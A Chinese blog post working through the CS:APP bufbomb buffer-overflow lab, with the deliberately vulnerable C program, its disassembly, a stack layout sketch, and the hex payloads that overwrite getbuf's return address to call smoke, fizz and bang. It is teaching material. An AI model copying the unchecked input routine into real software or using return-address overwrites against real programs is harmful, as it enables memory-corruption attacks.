`

csapp bufbomb实验

阅读更多

csapp (《深入理解计算机系统》)一书中有一个关于缓冲区溢出的实验,其程序代码如下:

/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <signal.h>
#include <unistd.h>

/* Signal handler to catch bus errors */
void bushandler(int sig)
{
    printf("Crash!: You caused a bus error!\n");
    printf("Better luck next time\n");
    exit(0);
}

/* Signal handler to catch segmentation violations */
void seghandler(int sig)
{
    printf("Ouch!: You caused a segmentation fault!\n");
    printf("Better luck next time\n");
    exit(0);
}

/* Alarm handler to catch infinite loops */
static int alarm_time = 600;

void alarmhandler(int sig)
{
    printf("Dead!: getbuf didn't complete within %d seconds\n", alarm_time);
    printf("Better luck next time\n");
    exit(0);
}

/* Illegal instruction handler */
void illegalhandler(int sig)
{
    printf("Oops!: You executed an illegal instruction\n");
    printf("Better luck next time\n");
    exit(0);
}

/* Like gets, except that characters are typed as pairs of hex digits.
   Nondigit characters are ignored.  Stops when encounters newline */
char *getxs(char *dest)
{
  int c;
  int even = 1; /* Have read even number of digits */
  int otherd = 0; /* Other hex digit of pair */
  char *sp = dest;
  while ((c = getchar()) != EOF && c != '\n') {
    if (isxdigit(c)) {
      int val;
      if ('0' <= c && c <= '9')
	val = c - '0';
      else if ('A' <= c && c <= 'F')
	val = c - 'A' + 10;
      else
	val = c - 'a' + 10;
      if (even) {
	otherd = val;
	even = 0;
      } else {
	*sp++ = otherd * 16 + val;
	even = 1;
      }
    }
  }
  *sp++ = '\0';
  return dest;
}

int getbuf() {
	char buf[16];

	getxs(buf);
	return 1;
}

void test() {
	int val;

	printf("Type Hex String: ");
	val = getbuf();
	printf("getbuf returned 0x%x\n", val);
}

void smoke() {
	printf("Smoke: You called smoke()\n");
	exit(0);
}

void fizz(int val) {
	if (val == 0xdeadbeef) {
		printf("Fizz!: You called fizz (0x%x)\n", val);
	}
	else {
		printf("Misfire: You called fizz (0x%x)\n", val);
	}
	exit(0);
}

int global_value = 0;

void bang() {
	if (global_value == 0xdeadbeef) {
		printf("Bang!: You set global_value to 0x%x\n", global_value);
	}
	else {
		printf("Misfire: global_value = 0x%x\n", global_value);
	}
	exit(0);
}

int main()
{

  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */
  int offset = (((int) buf) & 0xFFFF);
  int *space = (int *) alloca(offset);

  *space = 0; /* So that don't get complaint of unused variable */

  signal(SIGSEGV, seghandler);
  signal(SIGBUS, bushandler);
  signal(SIGALRM, alarmhandler);
  signal(SIGILL,  illegalhandler);

  /* Set up time out condition */
  alarm(alarm_time);

  test();
  return 0;
}

 要求程序输出 Smoke!: You called smoke()

 

 

我所使用的系统环境(archlinux 2010.05, gcc 4.5.2, gdb 7.2, objdump(bintuils) 2.21):

该问题中关键的两个函数是test和getbuf,需要了解执行这两个函数的栈帧布局。

 

先运行

gcc -o bufbomb -g -Wall bufbomb.c
objdump -d bufbomb > bufbomb.s
这两条命令得到bufbomb.s,该文件中test和getbuf对应内容如下:

080486a6 <getbuf>:
 80486a6:	55                   	push   %ebp
 80486a7:	89 e5                	mov    %esp,%ebp
 80486a9:	83 ec 28             	sub    $0x28,%esp
 80486ac:	8d 45 e8             	lea    -0x18(%ebp),%eax
 80486af:	89 04 24             	mov    %eax,(%esp)
 80486b2:	e8 20 ff ff ff       	call   80485d7 <getxs>
 80486b7:	b8 01 00 00 00       	mov    $0x1,%eax
 80486bc:	c9                   	leave  
 80486bd:	c3                   	ret    

080486be <test>:
 80486be:	55                   	push   %ebp
 80486bf:	89 e5                	mov    %esp,%ebp
 80486c1:	83 ec 28             	sub    $0x28,%esp
 80486c4:	b8 ef 89 04 08       	mov    $0x80489ef,%eax
 80486c9:	89 04 24             	mov    %eax,(%esp)
 80486cc:	e8 63 fd ff ff       	call   8048434 <printf@plt>
 80486d1:	e8 d0 ff ff ff       	call   80486a6 <getbuf>
 80486d6:	89 45 f4             	mov    %eax,-0xc(%ebp)
 80486d9:	b8 01 8a 04 08       	mov    $0x8048a01,%eax
 80486de:	8b 55 f4             	mov    -0xc(%ebp),%edx
 80486e1:	89 54 24 04          	mov    %edx,0x4(%esp)
 80486e5:	89 04 24             	mov    %eax,(%esp)
 80486e8:	e8 47 fd ff ff       	call   8048434 <printf@plt>
 80486ed:	c9                   	leave  
 80486ee:	c3                   	ret    

 最左侧部分是汇编指令的内存地址,其中与    printf("getbuf returned 0x%x\n", val); 这一句对应的汇编语句为:

 80486e1:	89 54 24 04          	mov    %edx,0x4(%esp)
 80486e5:	89 04 24             	mov    %eax,(%esp)
 80486e8:	e8 47 fd ff ff       	call   8048434 <printf@plt>

其中的printf指令地址为0x080486e8,由于intel处理器采用小端法表示,所以实际表示为e8860408

 

执行gdb bufbomb命令,在getbuf函数设置断点(用break getbuf)

执行run命令,程序跳转至getbuff,然后用info reg查看寄存器内容,得到ebp值为0xbffeffb8   

 

根据上面的反汇编结果可以知道,调用getbuf函数时的栈帧(假设是地址从高向低排列)表示如下:

 

---------------

 

-----------------

 

---------------

getbuf 返回地址

----------------

ebp

------------------

暂为空

-----------------

暂为空

----------------

buf[12]-buf[15]

----------------

buf[8]-buf[11]

----------------

buf[4]-buf[7]

----------------

buf[0]-buf[3]

-----------------

 

在从getbuf返回后,我们要求输出smoke函数内容,即将smoke的返回地址(0x080486ef,即ef860408)压入到getbuf所在地址处。因为smoke函数没有函数参数,所以不需要多余的处理.

接着运行bufbomb程序,提示输入字符串,我输入的字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf ef 86 04 08

输出结果为:Smoke: You called smoke()

其中前面24个字节为空(其实这些内容可以为任意值),接下来是ebp地址,它需要保持原来的内容。再然后是smoke函数的返回地址。

 

现在还没有完全完成所有的实验,还可以将返回地址设为fizz或者bang函数,然后也可以得到不同的输出结果。

例如,如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 0d 87 04 08 ,此时得到输出结果为:Misfire: You called fizz (0xb773bff4)

如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 0d 87 04 08 ef be ad de ef be ad de
可以得到输出结果为:Fizz!: You called fizz (0xdeadbeef)

这个例子中使用了fizz的返回地址(0x0804870d,可以在上面的反汇编代码中找到fizz标记左侧的地址即是,还有fizz的形参的内容不做修改和修改为0xefbeadde时 的情况)

 

如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 52 87 04 08 ,得到输出结果为Misfire: global_value = 0x0
如果输入字符串为00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 64 87 04 08 ,得到输出结果为Bang!: You set global_value to 0x0
这个例子是直接跳转到bang的返回地址(0x08048752)或者printf(“Bang!: You set global_value to 0x0")语句对应汇编语句的首地址(0x08048764)

 

参考链接:

bufbomb lab assignment

缓冲区溢出攻击实验

ubuntu 9.10 缓冲区溢出实验

insecure programming

linux缓冲区溢出原理与对策

缓冲溢出分析

非安全编程演示之高级篇

buffer overflow on wikipedia

 

分享到:
评论

相关推荐

    中科大csapp实验3 bufbomb

    ### 缓冲区溢出实验:中科大csapp实验3 bufbomb #### 一、实验背景及目的 在计算机安全领域,缓冲区溢出是一种常见的攻击手段,它利用程序对缓冲区边界检查不严格的问题来执行恶意代码或篡改程序运行状态。本实验...

    csapp lab3 bufbomb 实验报告

    本次实验基于《Computer Systems: A Programmer's Perspective》(简称CSAPP)教材中的一个重要实验项目——bufbomb实验。该实验旨在帮助学习者深入理解IA-32架构下的函数调用机制与栈结构,并通过实践操作加深对...

    csapp经典炸弹实验

    "csapp经典炸弹实验"是计算机科学中一个著名的练习,主要目标是提升学生对计算机系统、内存管理和程序执行的理解。这个实验通常出现在操作系统或计算机体系结构的课程中,特别是那些基于《Computer Systems: A ...

    CSAPP性能优化实验

    《CSAPP性能优化实验》是计算机科学与应用(Computer Science and Application Programming)课程的一个实践环节,旨在提升学生对程序性能优化的理解与技能。在这个实验中,我将详细探讨三个关键的优化策略,并结合...

    深入理解计算机系统(csapp)实验材料

    《深入理解计算机系统》(CSAPP)是一本广泛使用的计算机科学教材,它涵盖了计算机系统的基础知识,包括硬件、操作系统、编译器、网络和安全等多个领域。这份实验材料旨在通过实践帮助读者深化对这些概念的理解。 ...

    CSAPP的malloc实验

    《CSAPP的malloc实验》是计算机科学与应用(Computer Science and Programming in C)课程中的一个实践环节,旨在深入理解内存管理机制,特别是动态内存分配函数`malloc`的工作原理。在这个实验中,你将有机会亲自...

    CSAPP实验bomb炸弹破解

    《CSAPP实验:深入理解“Bomb”炸弹破解》 计算机科学与编程实践(CSAPP)是一门深入探讨计算机系统原理的课程,其中的"Bomb"实验是教学过程中的一个重要环节。这个实验旨在帮助学生理解程序执行流程、内存管理以及...

    湖南大学CSAPP课程实验LAB1

    **湖南大学CSAPP课程实验LAB1** CSAPP(Computer Systems: A Programmer's Perspective)是一门深入探讨计算机系统原理的课程,旨在帮助学生理解底层计算机工作原理,从而更好地编写高效的程序。在这一实验环节,...

    CSAPP lab 5 实验指导书

    In this lab you will be writing a dynamic storage allocator for C programs, i.e., your own version of the malloc and free routines. It is quite involved. Start early! We are providing some extra ...

    CSAPP实验5(动态内存分配器)资料

    《CSAPP实验5:动态内存分配器》是一个深入理解计算机系统(Computer Systems: A Programmer's Perspective,简称CSAPP)课程中的重要实践环节。这个实验旨在让学习者掌握动态内存管理的基本原理,通过设计和实现一...

    中科大csapp实验4 perflab-handout 代码优化

    中科大程序设计与计算机系统,实验4,代码优化,亲测可用,版本优化相当高

    CSAPP Lab3 attacklab实验源材料

    CSAPP Lab3 attacklab实验源材料 深入理解计算机系统实验三缓冲区溢出攻击实验源材料

    BUPT计算机系统csapp四次实验报告

    《BUPT计算机系统csapp四次实验报告》 在计算机科学领域,实验是理解和掌握理论知识的重要途径。北京邮电大学(BUPT)的计算机系统课程(csapp)旨在通过实践教学,帮助学生深入理解计算机系统的运作原理。这份实验...

    csapp的malloc实验分析

    总结来说,CSAPP的malloc实验是一个深入学习内存管理的实践平台,它要求学生具备扎实的数据结构基础,理解操作系统内核级别的内存管理,以及具备问题解决和优化的能力。完成这个实验后,学生不仅能够更熟练地使用...

    CSAPP lab2 实验指导说明

    ### CSAPP Lab2 实验指导说明 #### 一、实验背景与目的 在本次实验(CSAPP Lab2)中,学生们将面临一个充满挑战的任务:拆解并解除一系列所谓的“二进制炸弹”。这些炸弹是一种特殊的程序,由一系列阶段组成。每个...

    CSAPP AttackLab实验解决源码(亲测有效!!!)

    target1实验通常与CS:APP书中的“Buffer Overflow Attack”相关。这个实验旨在教授计算机系统的安全性,防止攻击者定位攻击和锻炼使用金丝雀防护,特别是关于缓冲区溢出漏洞的理解和利用。在这个实验中,尝试利用...

    哈工大 CSAPP实验三优化

    【哈工大 CSAPP实验三优化】主要关注的是如何针对CPU和缓存(Cache)进行程序性能优化。在计算机系统中,CPU是执行指令的核心,而缓存则是提高CPU访问数据速度的关键组件。本实验旨在让学生理解并掌握优化技术,以...

    csapp(深入理解计算机系统)第三版 实验

    在"csapp-lab"这个压缩包中,可能包含了与课程配套的实验指导、代码示例、练习题解答和相关的工具软件。 实验通常涵盖以下几个方面: 1. **汇编语言编程**:学习如何使用汇编语言编写程序,了解指令集架构,掌握...

    CSAPP lab5 实验材料

    《CSAPP lab5 实验材料》是一份针对计算机科学与应用基础课程(Computer Science Applicatoin Principles, 简称CSAPP)第五次实验的详细资料,旨在帮助学生深入理解计算机系统的基础概念和实际操作技能。在这个实验...

Global site tag (gtag.js) - Google Analytics